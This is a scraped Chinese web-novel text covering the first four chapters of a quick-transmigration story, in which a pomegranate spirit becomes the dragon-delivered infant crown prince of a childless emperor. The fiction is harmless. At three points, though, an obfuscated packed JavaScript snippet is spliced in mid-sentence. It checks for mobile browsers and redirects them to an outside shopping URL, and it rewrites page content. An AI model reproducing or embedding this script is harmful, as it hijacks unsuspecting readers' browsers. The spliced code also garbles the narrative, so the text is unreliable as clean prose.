《给绝嗣男主当崽[快穿]》 1. 第 1 章 时空管理局最近成立了一个新的部门:给绝嗣男主一个家。 顾名思义,需要系统去绑定合适的任务者去拯救那些绝嗣男主,弥补他们没有孩子的缺憾。 编号为555的系统由于业绩不佳,被分配到了这个刚成立的新部门。 虽然它在原部门里业绩垫底,但一点也不影响他拥有一颗想要成为行业老大的心。 了解清楚新部门的工作日常后,555在挑选宿主上格外用心。 千挑万选后,555选定了一颗刚成精的小石榴绑定。 自古以来,石榴都带着多子多福的好意头,再加上刚成精,懵懵懂懂,正是最好培养默契的时候。 555礼貌地询问:“你很能生吗?” 末法时代艰难成精谁成想被一道天雷劈死的小石榴听到这个问题,用了很长时间去思考。 半晌后,小石榴用笃定的语气回答道,“我超能生的!”天下再也没有比他更会生存的小妖怪了。 一统一妖怪一拍即合,都以为自己找到了最合适的搭档。 555抱着对未来的美好期许,把宿主送进了第一个任务世界里。 到达任务世界后,555看清宿主的样子后惊恐道:“你怎么是个男的?!” 话音刚落,半透明的一团宿主突然冒出根须点啊点。 经过长久的摸索试探,小石榴宝宝把根扎在了龙椅后的男人身上,满意地闭上了眼睛。 目睹全过程的555已经完全宕机,它崩溃地用机械触手抱住脑袋。 小石榴就算是熟睡也不忘从男主身上吸收营养,不到半炷香的时辰就将自己养圆了一圈。 姬昊身为男主,是当之无愧的气运之子,就连血脉都隐隐泛着金光。 不久后,555发现那颗小石榴身上冒出了和姬昊一模一样的金色光芒。 与此同时,555收到了一条提示。 任务1:让绝嗣男主拥有亲生孩子(已完成) 再一看,任务进度条已经来到了百分之三十。 这也能行??? 555从未想过任务能以这么诡异的方式推动,看着已经顺利在男主身上扎根的小石榴,它甚至萌生了一种想试试的冲动。 万一呢? ………… 御案后,姬昊刚批完一份折子,伸手拿起另一份打开,待看清上面写着什么后,他随手扔至一边。 书房的门被人从外面推开,大太监童兴弯着腰走进来奉茶。 姬昊端起茶盏,用茶盖轻轻撇了撇茶沫。 童兴最擅体察上意,一进书房便察觉到陛下今日心情不佳,理折子时已经猜到陛下因何事烦心。 陛下已过而立之年,满宫后妃却无一有所出。每隔一段时间便有大臣提议陛下从宗室总择一子养在膝下尽孝,以免来日江山无以为继。 早些年姬昊根本不会将这些话放在心上,可随着年龄渐长,偶尔也忍不住去想,莫非真如那高僧所言,他命中无子? “传德惠大师午后入宫。”姬昊吩咐道。 童兴应道:“是。” 姬昊心中记挂着子嗣一事,晌午时没什么胃口,只略动了动筷子就吩咐人撤去。 殿内安神香烟雾袅袅,童兴替陛下更衣伺候他睡下后,走出门去朝他干儿子招了招手。 小旺子快步跑到师傅跟前儿来。 童兴敲了下他的帽子,压低了声音斥道:“你怎么当差事的?不晓得陛下喜静么?外头那些知了就由着它们叫唤?吵着陛下你有几个脑袋够你掉的?” “欸!”小旺子应了一声后,唤来几个宫人拿上粘杆,将外面树上那些知了都处理了个干净。 姬昊睡得不沉,断断续续做了好几个梦,到了起身的时辰时面上带着几分阴郁。 午后,姬昊同德惠大师聊了几个时辰后又回了书房,继续批折子。 待到夜幕降临,姬昊用过晚膳后就在自己的寝宫歇下了。 他做了一个梦。 他梦见自己在一片黑暗中艰难前行许久,耳边突然响起一声龙吟,紧接着天光大亮,一条金龙衔子从天而降。 姬昊猛地惊醒,坐起后盯着眼前熟悉的场景,意识到那只是一场梦后,心头莫名一阵空落。 他头一次觉得这宫室太大,大到有些寂寞空荡。 若是有个孩童相伴…… 今儿轮着守夜的太监是童兴,他听见动静惊醒后问:“陛下可要用些水?” “不必,如今是什么时辰?”姬昊说。 “回陛下,离上早朝还有半个时辰呢。”童兴答道。 外面突然刮起狂风,将树叶吹得哗哗作响,殿内珠帘碰撞发出一声接一声的脆响。 风越来越大,童兴将窗户关上,回到龙床边撩起床帘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554215|204403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫人们鱼贯而入,打头的宫娥往殿内添了几盏灯,屋里瞬间亮堂许多。 童兴伺候陛下更衣时察觉到陛下脸色不佳,理好衣摆后才问:“陛下,可要传太医来?” 姬昊抬手揉了揉眉心,制止道:“不必。” 从前征战时落下的头痛毛病,这些年也看过不少医术高明的大夫,具是束手无策。久而久之,姬昊便习惯了。 上早朝时,有大臣出列旧事重提。 “储君未定江山不稳,还请陛下早做决断。” 龙椅之上,姬昊一下一下拨弄着佛珠,如同一头垂垂老矣的雄狮。 他正欲说些什么,一阵风吹灭了殿内燃着的几座灯。 金銮殿外乌云压阵,狂风大作,今日已经快要辰时天却还未亮,灭了灯后更是什么也看不真切。 “龙……是龙!!!”外面响起太监的咋呼声。 朝堂上一阵骚乱,大臣们窃窃私语。 姬昊起身往下走,行至金銮殿外的高台上,身后跟着群臣。 所有人都能看见,云层中金光乍泄,竟是有一条龙在其中翻滚! 天渐渐亮起,霞光万丈,那条金龙围着京城转了一圈后直冲皇宫而来。 “龙!龙嘴里衔着的是什么?!”有大臣道。 金龙落在姬昊面前俯首,将衔着的奶娃娃递到了陛下面前,颔首示意。 姬昊袖中手紧握成拳,上前两步小心翼翼将这个奶娃娃接到怀中。莫名觉得他眉眼同自己有几分相似,不由得生出几分亲切感。 怀中婴孩只穿着一件红色肚兜,衬得他皮肤如同牛乳一般白皙。眉心一点红不似寻常孩儿,倒更像个小仙童。 金龙将孩子交给姬昊后,伴随着一声嘹亮的龙吟直冲云霄。 金乌悬在天边仙鹤齐飞,满宫中的花卉同时盛放庆贺。 古往今来,为帝者大多自称天子,如今众目睽睽之下金龙送子,更让人相信君权神授,当今陛下定是真龙天子! 姬昊从未像此刻这样志得意满,朗笑出声道:“天不薄朕……天不薄朕啊!” 说完,他将这个小娃娃举起来,宣布道:“朕之第一子,当为太子!” 群臣被这神迹惊得愣在原地,听见陛下这句话后如梦初醒,纷纷跪下齐声道: “皇上万岁万岁万万岁。” “太子千岁千岁千千岁。” 2. 第 2 章 大臣们的声音吵醒了孩子,他小嘴一瘪就开始哇哇哭,惊飞了宫墙上的鸟儿。 孩童稚嫩的啼哭声为大雍朝带来了新的曙光,也为姬昊那颗已经枯萎的心注入了新的希望。 “不哭不哭,父皇在呢。”姬昊安慰道。 这颗小石榴是扎根在姬昊身上长大的,对他有着天然的亲近和本能般依赖。听见姬昊的声音后哭声转弱,呜呜声里带着认真的可怜,像终于找到了依靠开始告状。 听出皇儿哭声中的委屈,想当年姬昊马上打天下时都没有这一刻慌张。 姬昊平日里喜舞刀弄枪,身高八尺无比魁梧,这个小东西落在他手上仿佛没有重量,抱着时生怕用一点力气就会捏碎他。 奈何姬昊模样生得凶,平日里又惯冷着脸,一时半会儿还真瞧不出来他到底在想些什么。 幸好有童兴在,他伺候陛下多年,最擅长的就是体察上意。 “陛下,许是因为人多吓着了小殿下,抱回宫里去再请乳母喂点奶水就好了。”童兴提议道。 姬昊觉得他说得有理,干脆命令道:“退朝。” 大臣们恭送陛下抱着小太子离去,多数人依旧被刚才那神迹震惊的回不过神,互相搀扶着起身。 人群中不知是谁说了一句话:“天佑我大雍……天佑我大雍啊!” 另外一边,姬昊抱着皇儿刚上銮驾他便不哭了,在用那双圆溜溜的眼睛好奇张望。 姬昊看皇儿小胳膊小手小脚,圆圆的脑袋上长着软趴趴的头发,想摸一摸他,手刚递过去,他先无意识攥住了自己的手指。 孩子尚小,一只手拿姬昊一根手指都显得吃力。 微弱的力道、陌生的束缚感,让姬昊第一次意识到原来生命竟是如此奇妙。 姬昊俯身贴了贴他的脸,幼儿滑嫩的肌肤仿佛上好的暖玉。让姬昊恍惚间甚至有一种前半生数年皆是虚度,拥有皇儿后人生才算开始的感觉。 回到紫宸殿后,宫人已经备好了衣物摇篮和拨浪鼓,乳母要从宫外另寻,还得等一等。 小旺子去皇子所领了两个嬷嬷回来,都是经验丰富的老嬷嬷,经她们手照顾的孩童不知多少。 谁成想,在小太子这里到底还是碰了一鼻子灰。 嬷嬷手刚伸过去还未来得及将其抱起,小太子就展现了他惊人的折叠能力,将双脚举过头顶再对着她狠狠蹬下去。 “哇啊——!” 用全新的脚丫去踹老嬷嬷的手臂无异于以卵击石,小太子感觉自己的脚很怪,眼眶里渐渐蓄上了泪。 “皇儿?”姬昊关心问道。 一听他的声音,小太子用力闭了下眼睛,泪珠顺着眼角滑落,张大嘴“哇”一声就哭了起来。 嬷嬷心一慌,忙跪下请罪,惊恐闭上眼,后背冷汗直冒。 姬昊正忙着哄小太子没精力处置这嬷嬷,童兴上前去踢了她一下,递了个眼神过去示意她快走,别留在这里碍了陛下的眼。 姬昊抱着来之不易的小太子在殿内踱步,听他哭声不断面上也未曾露出丝毫不耐。 到底还是心疼他初来乍到。 最初小太子哭声嘹亮,到后面嗓子有些哑也哭累了转为低声呜呜,最后干脆攥着父皇衣裳睡了。 姬昊听着怀中小儿没了动静,低头一看,他长而卷翘的睫毛上还沾着潮气,脸都哭成了浅粉色,气性当真不小。 宫中妃嫔多年无所出,想要乳母只得去宫外寻身家清白健康的妇人,由太医和嬷嬷亲自验过后才送到紫宸殿。 这个年纪的婴孩觉短,哭累了睡会儿就又睁开眼咿咿呀呀,往日里冰冷肃穆的紫宸殿多了孩童欢笑声,姬昊也忍不住露出笑意。 从前姬昊虽态度坚决,不愿从宗室过继子嗣,但也借着过节见过几个孩子。 那些宗室子见了他都如同老鼠见了猫,战战兢兢,毫无天潢贵胄的气度。 再看怀中这个敢哭敢叫的小家伙,姬昊不免有些得意地想,皇儿到底还是自个儿的好。 童兴走进来,压低了声音道:“陛下,乳母们都在殿外候着呢,您可要亲自去瞧瞧?小殿下怕是过会儿要饿了。” 姬昊说:“传。” 早就候在门外的小旺子领着五位乳母进殿。 “抬起头来,让朕的皇儿瞧瞧,”姬昊命令完后,又问小太子,“喜欢哪个?” 小太子并不赏脸,看都未看,扭头将脸埋在了姬昊怀中哼哼。 口粮面前他还是只要父皇,姬昊龙颜大悦,随手一指挑了两个面善的留下来先用着,吩咐人再去寻。 乳母是选好了,可如何给小太子喂奶也是个难题,两位乳母都接不过来,他就像长在了陛下身上一样。 手伸过去碰到他‘啊’一声警告,敢使力他就打人,尚未抱起,小太子的哭声就能掀翻屋顶。 姬昊听不得他哭,乳母们就只能在一侧候着。 可后来没人要跟陛下抢小太子,无缘无故他也要哭,一声比一声委屈。 姬昊心中焦灼,面上只略显严肃,紫宸殿伺候的人连大气都不敢喘。 只有李乳母大着胆子出声道:“小殿下兴许是自个儿不晓得饿了。” 姬昊觉得她说得有理,便将太子递给了她,转身想去屏风后时衣摆先被小太子攥住。 那点子力道,却偏偏叫姬昊迈不开脚,索性背过身去负手而立,由他牵着。 小太子吃着了奶水,堵住了他的嘴没空去哭,再加上手上还攥着父皇,十分满意,大口大口吸吮,抽空晃了晃脚。 系统空间内,555看见这一幕,无比庆幸没有按照自己原定的剧本走。 绑定宿主时只想着刚成精的小妖怪懵懂听话,却没有考虑到它什么都不懂,更没想到阴差阳错之下,他自己找到了完成任务最合适的方式。 小太子喝饱后立刻翻脸不认人,挥着手想要父皇抱,姬昊将他接到怀里。 李乳母看陛下抱小太子的姿势眼皮跳了跳,忍了又忍还是没忍住出声道:“陛下,您这样抱着他不舒坦。” 姬昊侧身看向乳母,怀中小太子也同时望过去。 话都已经起了个头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554216|204403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李乳母索性就接着道:“小殿下刚喝了奶水,勒着了要吐奶。要拍一拍,不然他肚子不快活还要哭的。” 照顾年幼孩子本身就是一件细致又繁琐的事,处处都得小心才行。 已经顺利在父皇怀里扎根的小太子绷着肉嘟嘟的脸,姬昊疑心他莫不是听懂了乳母在说些什么。 见识过小太子闹脾气的本领后,姬昊不欲惹他不高兴,便吩咐乳母教一教。 当今陛下动作笨拙地让小太子趴在自己肩上,抬起宽大的手掌轻轻拍着他后背。 手掌刚落下去,小太子就打了个嗝。 姬昊身体僵住,疑心是不是自己力道太大,侧过头看了皇儿一眼。没有要哭的迹象,他暗自松了口气。 姬昊每拍一下,小太子就配合的‘嗝’一声,十分捧场。 李乳母在旁边看得着急却又不好说什么,等拍得差不多了才请陛下停手。 这边小太子刚吃饱喝足,宫中绣坊的掌事姑姑就领着两个绣娘来送衣裳。 姬昊将小太子递到乳母怀里,赶在他啼哭之前将手递过去,小太子攥住后扁扁嘴,虽然瞧着有些不高兴,但好歹没哭。 李乳母先替小殿下穿上裤子,再解开他的肚兜。另一位乳母掰开小殿下的手,趁他不注意往袖管里塞。 小太子顾不上发脾气,忙不迭把手往外伸,想把父皇手指拿回来。 换好衣裳后,姬昊将他抱回来,小太子一到父皇怀里就咯咯笑。 眼见陛下心情上佳,童兴凑上前说:“哎哟,小殿下只喜欢陛下呢。” 李乳母也附和道:“民妇也从未见过,就算是民间也少有孩童愿意同父亲这般亲近,像小殿下这样的更是闻所未闻。” 平日里姬昊最厌烦溜须拍马之徒,如今却觉得他们字字句句都说到了自己心坎上,笑道:“说得好,当赏!” 小太子也挥了挥手,发出了稚嫩的声音:“昂!” 趁着陛下高兴,童兴又提起了一事:“陛下,贵妃娘娘刚才派人来问,小殿下该如何安置呢?” 当今圣上并未立后,后宫诸事皆由贵妃娘娘做主,于情于理,都该问上一问。 小太子试图抬头,脑袋上软趴趴的头发像炸开了一样,姬昊用手掌轻轻往下压了压。 “太子乃是国之根本,自然要留在紫宸殿朕亲自教养。” 乳母喂奶都要牵着他衣裳才肯吃,姬昊如何能狠下心将他送至东宫又或是皇子所。 “这不合规矩啊陛下……”童兴道。 姬昊抬手示意他不必再啰嗦,走到软塌上坐下,拿起拨浪鼓晃了晃。 小太子还是头次看见这样新鲜玩意儿,听见拨浪鼓清脆的响声,一瞬间将眼睛瞪得溜圆,满脸都写着惊奇。 姬昊放下拨浪鼓,另拿起一只布老虎送到他面前。 小太子被突然放大的布偶吓得一个激灵,扁成了小鸭嘴,绷着脸转身将脑袋埋在父皇怀里。 等看不见那布老虎了,小太子才哼哼两声开始哭。 “呜呜呜啊……呜哇啊!” 3. 第 3 章 姬昊盯着皇儿紧攥他衣裳的小手,摸了摸鼻子有些心虚,忙去拍皇儿后背哄一哄。 天赐麒麟儿竟会怕一只小小布老虎?传出去怕是要叫人笑掉大牙! 为人君父,对外自然要维护太子威仪,姬昊就只能自己乐一乐。 小太子被爹爹哄好后挣扎着想坐起来。 眼见陛下并无阻拦的打算,旁边的童兴才提醒道:“陛下,小殿下尚未长成,贸然坐起恐伤及根本。” 姬昊觉得童兴说得在理,便将小太子抱回来,观察他的意图将他往前送了送。 只见小太子伸出手,抓住刚才那只布老虎,举起来再重重摔在地上。 姬昊看一眼地上那摔得四脚朝天的布老虎,再看已经在喘粗气的小太子。分明只做了一件事,瞧着却将他累得够呛。 姬昊顿觉好笑,抱着小太子往外走,道:“童兴,没瞧见那只布老虎冒犯了朕的太子么?还不打杀了去!” 饶是童兴在紫宸殿伺候多年,也少见陛下这样,他配合行了个礼请罪道:“都是奴才不好,此等小事,怎敢劳累太子殿下亲自动手。” 这番话听得姬昊浑身痛快,赞道:“善!” 姬昊同宫人玩笑时,小太子正在认真吧唧嘴,他分明记得这样就能吃到东西,偏偏这回吧唧半天也没喝到奶。 小小的人儿,就这么将自己吧唧生起气来,大吼一声:“啊——!!” 姬昊尚未看出小太子这是何意,李乳母便先上前道:“陛下,小殿下应当是饿了,年纪小饿得快呢。” 如今姬昊已经有了经验,将皇儿送给乳母后又将自己衣角递过去让他拿着。 所有需求都得到满足,小太子不哭不闹专心喝奶。 等小太子喝饱被陛下抱回去,李乳母理好衣衫,准备去偏殿休憩时撞见了小旺子。 小旺子跟在干爹身边的时间久了,多少也学了些本领在身上,他看这位乳母面露难色,便将人拦下。 小旺子问:“你作何这般?可是有什么事?” 李乳母犹豫片刻,还是同他坦白了。 紫宸殿内,姬昊正在认真给小太子拍奶嗝,拍好后裹上襁褓,带他去院里瞧一瞧。 绕了一圈后,姬昊在湖心亭坐下,温暖的日光落在小太子身上,他开心挥着小手。 嘴里含糊不清嘀咕着:“咿呀~哇!” 哪怕已转世为人,小太子对阳光雨露依旧带着本能般的眷念。 童兴奉上茶水点心,另一个乳母尝试将小殿下接了过去。兴许是满园美景惹人心醉,小殿下赏脸没哭。 姬昊腾出手来,端起茶盏喝了两口润喉,又用了一块点心,接过童兴递过来的帕子擦手。 童兴趁机开口道:“陛下,奴才想请一道手令,为小殿下寻乳母一事迫在眉睫,有陛下的手令行事能快些。” 原本以为两个乳母好歹眼下够用,谁成想那李乳母说小殿下吃得多,最起码得再加上两个才能不叫太子殿下饿肚子。 姬昊听完童兴的解释后点头道:“允。” 姬昊盼了多年终于盼到的太子,自是恨不得将天下珍宝都捧到他面前来。 “诶,奴才这就去办。”童兴说着便退下了。 姬昊起身,走到乳母面前弯下腰,手伸进皇儿的襁褓摸了摸他浑圆的肚皮。 虽说姬昊膝下无子,但从前他为皇子时有过不少兄弟姐妹,大多都是让两个乳母伺候的,偏他的皇儿不一样,处处胜人,吃奶也比旁人多些。 小太子用乌黑透亮的大眼睛盯着父皇瞧,被摸了肚皮也不恼,反倒咧嘴笑了起来。 看他笑得乖巧可人,姬昊也忍不住跟着笑。 沐在初夏暖融融的日光中,仿佛积年沉疴都随之痊愈。 童兴请到了陛下手令,行事就方便许多。傍晚时有十个身家清白经验丰富的乳母被请进宫,这回小太子是彻底饿不着了。 夜幕降临,李乳母给小殿下喂完奶后,问:“可要将小殿下抱到别宫去?” 闻言姬昊眉心一蹙,问:“为何?” 李乳母察觉到陛下隐有发怒之兆,慌忙跪下道:“襁褓婴孩觉短,夜里恐惊扰陛下。” “不必。”姬昊道。 且不提东宫年久失修不好住人,就说哪有比紫宸殿更舒坦的去处。 姬昊抱起皇儿亲昵蹭了蹭他肉乎乎的小脸。分明只得一日,便好似已经有了斩不断的牵连,根本割舍不下。 待到夜里沐浴更衣后睡下,姬昊才知道乳母所言非虚,这小东西至多只睡半个时辰。 姬昊被稚嫩的哼唧声吵醒,他刚起身,童兴立刻掀开床帘上前掌灯。 姬昊打了个哈欠,将皇儿抱到怀中半眯着眼睛哄他。 夜里的小太子似乎格外难哄些,姬昊哄了半天他哼唧声依旧不断,乳白色小脸瘪得通红,眼中已经开始蓄泪。 姬昊面上一肃,正欲传太医时,突然感觉自己身上一热,陌生的湿热感让他愣了片刻才回过神,意识到这是什么后,皇上脸色大变。 小太子将嘴扁成了小鸭嘴,泪花闪烁,罪魁祸首瞧着反倒更委屈些。 童兴命人又送了几座灯,将紫宸殿照得灯火通明。两个乳母给小殿下清洗,陛下去偏殿沐浴更衣,宫人们进来将龙榻上的被褥等全都换了下去,再燃上熏香。 等姬昊抱着干干净净的小太子回来时,殿内只剩清雅的安神香味道。 小太子醒了没那么轻易入睡,躺在帝王身侧将一双脚高高举起,硬是将被子撑了起来。 许是因为皇上这些年都过得死气沉沉,他格外喜欢皇儿这副生动活泼的模样,侧躺手撑着额头,夸道:“吾儿好学,生一日勤于习武。” 想着想着,皇上突然唤道:“史官何在?为何不替朕记下。” “陛下,快要子时了,萧大人已经歇下,奴才明日定去知会萧大人一声。”童兴道。 陛下自从过了而立之年后,早些年四处征战时留下的头疾复发,行事愈发随性,还曾放言‘好梦中杀人’,宫内人人自危。 童兴是贴身伺候陛下的人,早就习惯了陛下的阴晴不定。他将自己地位摆得清,作为陛下近身伺候的人,不管是多荒诞的事,顺着陛下的意就是了。 龙榻上小太子起初只是撑起被子,到后来改为用脚蹬,辛苦半天成功忙吐奶了。 姬昊刚酝酿出困意,嘹亮的哭声在他耳边炸开,侧身望去,小太子吐奶已经污了衣裳,正难受的呜哇叫。 姬昊再次起身,抱起皇儿想亲自为他换衣。 这在姬昊眼中本该是一件很简单的事,可偏偏做起来却十分棘手,折腾了半晌衣裳还在他手上,只能唤乳母进来。 这样一通下来皇上是真有些累了,靠在软枕上喝了两口水后又疲惫捏了捏眉心。 小太子落到乳母手上变得乖巧许多,先脱掉弄脏的衣裳,用帕子沾水给他擦了擦脸和身子,换上干净衣物再送回陛下身边。 这回姬昊不敢耽搁,眼看皇儿闭上眼便抓紧时间睡了。 小太子夜里折腾起来五六次,等第七次时已经到了上早朝的时辰。 姬昊换上朝服戴上冕旒,用了碗提神的汤药,正欲出门,龙榻上又响起哼唧声。 虽说宫人们已经尽力放轻动作,但小太子还是到了该醒的时候,小手到处摸啊摸,摸了半天也没摸到自己想要的爹爹。 小太子摸累了,泄气转而哼哼唧唧提醒旁人,他已蓄势待发。 换而言之:本太子要哭得很响了! 童兴就这么眼睁睁看着一只脚已经迈过门槛的陛下转过身来,回到龙榻旁坐下抱起小殿下。 姬昊疑心自己若是将皇儿留在紫宸殿,依照他的性子怕是能哭到下朝,索性带上太子一块儿去早朝,命乳母随侍。 銮驾摇摇晃晃,就这么将小太子给哄睡了。 姬昊心知皇儿刚睡不宜挪动,再加上銮驾已到金銮殿外,还是抱着他坐上了龙椅。 童兴一挥拂尘,宣布早朝开始,群臣叩拜山呼万岁。 姬昊伸手捂住小太子的耳朵,生怕这些声音会惊扰了他,吩咐群臣免礼平身后才松开手。 昨日天降神迹,大臣们亲眼目睹金龙送子,往日在储君一事上有再多小心思都尽数压下,只剩心悦诚服。 姬昊今日上朝只为了一件事:立储。 虽说昨日他已宣布要册立皇儿为太子,但总还是少了正经的典礼。 祭太庙告知天地祖宗,授太子册宝,大赦天下,万邦来贺……旁人立太子时要有的,他的皇儿自然也不能少。 整个早朝都在商议太子册封典礼一事,姬昊兴致勃勃不知疲倦,直到早朝快要结束时他才猛地发觉皇儿乖的有些过分。 大臣们各执一词争论不休,小太子藏在父皇宽大袖口下睡得正香。 散早朝,大臣们高呼万岁,这动静吵醒了小太子,他毫无预兆睁开眼,用那双乌黑纯净的双眸盯着父皇看。 诸位大臣眼中的陛下威严肃穆,可小太子尚年幼,就连帝王冕旒上的五彩玉珠串都将他罩在其中,只能瞧见父皇的脸。 小太子一睁开眼就看见爹爹,朝他露出了一个无齿笑容。恰好晨曦进来落在金銮殿上的金砖上,照出了许多浮尘,姬昊心情也明媚许多。 下早朝后,皇上摆驾御书房,偏殿已经备好了早膳,御案上奏折堆积如山。 童兴置了个摇篮,陛下批阅奏折时,小太子就乖乖躺在御案旁的摇篮中酣睡,怀里抱着父皇衣角。 姬昊批了一个时辰的奏折后有些疲累,偏过头看一眼皇儿,喝了一口茶水提神后便又拿起了一份奏折,想趁这小磨人精未醒时将政事处理完。 午后,陛下接见礼部尚书,原是好好在说封太子一事,姬昊突然话锋一转问道:“卿家中稚子是否也离不开卿?” 礼部尚书听见这句话时一愣,暗自琢磨了一会儿后如实摇了摇头,回道:“臣之子皆有仆妇照料,与臣不大亲近。” 姬昊看小手牢牢扯着自己衣裳的皇儿,莫名品出了几分优越来,摇头叹息一声后挥了挥手道:“退下罢。” 礼部尚书一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554217|204403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾水的告退了,回府时一路上都在思索陛下的话。 陛下日理万机,自然不会无缘无故提起一件事,是敲打又或者是提点?莫非是觉得他治家不严? 礼部尚书回到府上后换下官服,难得踏足后院抱了抱刚两岁的幼子,将其抱得哇哇大哭,碰了一鼻子灰后愤愤离去。 紫宸殿内,姬昊正在思索给他的皇儿取个天上有地上无、顶顶尊贵的好名字。 本朝皇室子夭折的太多,一般都是满五岁长成后才会取名列入宗室玉碟中。 规矩是死的,陛下却是活的。为人君父想为太子取名那是天经地义的事,宗室那群老东西也不敢多嘴。 姬昊算了算,今年恰好是他登基后第十六年,便决定将皇儿小名定为…… “就叫六六,好不好?”姬昊问。 小太子挥着手笑。 姬昊又唤道:“六六。” 小太子:“嘤呀……” 童兴推门走进来,说:“贵妃娘娘那边遣人来问,小殿下的洗三礼该如何置办?贵妃娘娘的意思是简办,说是排场太大恐折损了小殿下的福气。” 前面姬昊还在听,他对跟皇儿有关的一切都觉有趣,可越听越觉得不对,到最后脸色已经彻底冷了下来。 “朕看贵妃是病了,竟开始胡言乱语,朕的皇儿乃是真龙之子。罢了,好好养着吧。” 贵妃重病,管理后宫之权落在了德妃手上,由德妃代掌风印。 长春宫中,德妃接过女官送来的东西,客气将人送走。 婢女将门关上,才道:“贵妃娘娘是什么病?怎的如此厉害?” 德妃涂了蔻丹的手指轻轻抚过凤印,唇角含笑回道:“兴许是疯病,怕是再难好起来了。” 今早德妃还去拜见过,若说短短几个时辰就病得见不了人那她是不信的,左右不过是惹了陛下厌弃,随便寻个由头将人囚起来罢了。 德妃正想着到底是什么事才能惹得陛下震怒至此,陛下身边的童公公突然来传旨,命她好生筹备太子殿下的洗三礼。 这下德妃是彻底明白了,扶了扶鬓边插着的步摇,立刻打起十二分的精神张罗了起来。 洗三作为皇儿人生中第一件要紧的事,姬昊原本是想亲自安排的,谁成想这个小东西睡觉也要在父皇身上睡,他实在抽不开身,才从众妃中选了最稳重的德妃来操办。 第二日早朝,陛下下旨赏群臣布帛、大赦天下、赋税减免两成,以此庆贺太子降生。 乳母说太子年幼不宜见太多生人,否则的话易生疾病,洗三礼后宫中只有正三品及以上的妃子才能参加。 眼瞧着马上就是吉时,帝王銮驾在殿外停下。 童公公的声音响起:“陛下驾到,太子殿下到。” 随后,一身常服的陛下抱着小太子走了进来,众人们未曾想陛下竟会亲自送小殿下来,纷纷跪下行礼。 小太子兴许是待在父皇怀里见得多了,见他们磕头时已经会挥手。 姬昊道:“朕的太子让你们平身。” 众人齐声道:“谢太子殿下。” 洗三礼开始,趁着礼仪念唱那些吉祥词时,宫人将早就煮好的汤水舀进大宝盆里。 殿中设案供奉各路神仙,姬昊先将六六递到福生姥姥怀里,又取下腰间的玉佩塞到他手心里。 六六得了新鲜玩意儿,认真把玩忘了哭。 按照尊卑长幼,姬昊最先舀起一勺清水添进大宝盆中,宗室老王爷随后跟上。 每往大宝盆里添上一勺水,福生姥姥就会念一句吉祥话。 终于,福生姥姥拿锦帕沾了些水开始给小殿下洗身子。帕子有些凉,落在小殿下身上不舒坦,他小嘴一瘪就开始嗷嗷哭。 在大雍朝,洗三礼上啼哭乃是吉兆。 姬昊听着六六有力的哭叫声忍不住弯了弯唇,仿佛能预见他来日茁壮成长。 自生下来起六六哪受过这么大的委屈!他啼哭声就没停过。 好不容易熬到了洗三礼结束,小太子哭得连鼻子都红了,就算是回到熟悉的父皇怀里也照样在抽泣。 不过是洗去身上污秽罢了,瞧着倒像是经受了什么天大的不公。 姬昊拿帕子给六六擦了擦脸,轻轻拍着哄他。 被生人抱着搓来搓去,这回小太子可生了大气,就连姬昊亲自上手也哄不好,反被他蹬了两脚。 当今陛下暴戾之名众人皆知,群臣后妃见此惧是心惊胆战,生怕陛下会迁怒于旁人。 思及陛下过往种种,德妃攥紧帕子眼中闪过一丝不忍,忧心陛下被冒犯后会将这小家伙当场摔死。 谁成想,姬昊只是握住了小太子的手,放轻了声音同他说:“是父皇不好。” 帝王难得低头换做旁人早就诚惶诚恐了,偏偏小太子半点不赏脸,哭声又高了一个度。 姬昊用帕子给六六擦了擦脸,哄道:“不哭了啊,哭坏了嗓子可如何是好呢?” 小太子抢过帕子遮住脸,呜呜两下后哭声渐停,小嘴一扁就是说不出的惹人心怜。 4. 第 4 章 洗三礼毕,姬昊抱着小太子上了銮驾,群臣后妃跪送。 这下众人算是看清楚了,陛下对小太子到底有多爱重,说是当成了眼珠子也不为过。 姬昊抱着被洗得香喷喷的小太子,总忍不住想闻一闻。 一次两次倒还好,次数一多六六便开始不耐烦起来,伸手抵住父皇的额头,奶声奶气凶道:“哇!” 姬昊刮了刮他的鼻梁,回道:“爹爹晓得了。” 虽说太子年幼,但姬昊看得长远,太子说话自然要有用。 尚未到紫宸殿六六就开始砸吧嘴,前头喝的奶都叫他哭了出去,如今又饿了。 刚下銮驾姬昊便吩咐乳母去正殿候着,他抱着六六进门,将其递到乳母手上,自己也在旁边陪着。 转眼间半月时间过去,陛下瞧着整个人消瘦了许多。 小太子夜里时常啼哭,偏生哭起来时只让陛下一人抱,旁人碰都碰不得。 